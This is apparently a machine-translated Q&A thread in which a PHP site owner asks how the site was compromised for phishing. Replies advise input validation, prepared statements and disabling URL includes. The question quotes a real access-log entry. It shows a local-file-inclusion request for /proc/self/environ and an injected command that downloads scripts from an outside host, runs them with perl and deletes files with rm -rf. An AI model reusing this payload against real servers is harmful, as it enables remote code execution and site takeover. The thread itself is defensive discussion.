我被攻击了PHP/脚本注入-虚拟问题

Question

我的网站被攻击是为了钓鱼的目的。这是一个复杂的网站，但我只使用post和PHP文件。

他们怎么能攻击我？我只使用$_POST，因此我相信没有任何SQL命令和参数是可见的。没有任何框架，只有我在网站上的代码列表和访问。。

如有任何暗示/建议，将不胜感激。

对不起，如果我没有回答，但我是处理我的供应商谁封锁了整个网站。

这是他们的回答(欢迎对此作出任何评论)：

因为脚本注入攻击站点代码本身，所以它能够完全避免the服务器的安全性。不幸的是，一些内容管理系统(特别是较旧版本的Joomla)极易受到这种形式的攻击。

删除攻击者使用此方法的能力的一个简单方法是在网站的顶层添加一个php.ini文件，其中包含以下内容--但请注意，该网站需要事后进行测试，以确保合法的网站脚本操作没有受到更改的影响：

php.ini指令是。

allow_url_include = "0“

allow_url_fopen = "0“

最新情况：

以下是我从网络主机公司得到的信息：

121.254.216.170 --12/9/2011:05:21:07 +0100 "GET /?p=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1“200 5806 "http://some.thesome.com/etc/byz.jpg? -O /tmp/cd 548；cd/tmp；lwp-下载http://some.thesome.com/etc/cup.txt;perl cup.txt;rm -rf *.txt*;wget http://some.thesome.com/etc/update.txt;perl update.txt；( rm -rf *.txt*')；echo \"#j13mb0t\"；?>“

Answer 1

POST请求也可以手动发出，例如使用cURL。没有人阻止人们打开一个telnet终端，手动发出命令，并将任何参数发送到您的网站。

相反，您应该始终保护您的网站，并验证输入。不管是从邮局来的，还是从别的地方来的。另外，更喜欢在PHP中使用PDO而不是标准的mysql函数。

你能详细说明你的网站上发生了什么样的attack吗？

Answer 2

服务器可以被黑客攻击的方式有很多。如果不了解更多关于项目或服务器的信息，很难告诉您在您的情况下是如何发生的。

但也有一些建议：

确保始终转义写入数据库的数据。例如，您可以使用mysql_real_escape_string()。除了对脚本的攻击之外，您的服务器也可能受到攻击，例如通过FTP或SSH。

除此之外，始终要确保更新使用的所有流行框架/库。

Answer 3

$_POST不是阻止sql攻击的有效方法。对于从$_GET或$_POST接收到的所有值，您必须使用准备好的语句和参数，或者对所有这些参数使用mysql_real_escape_string。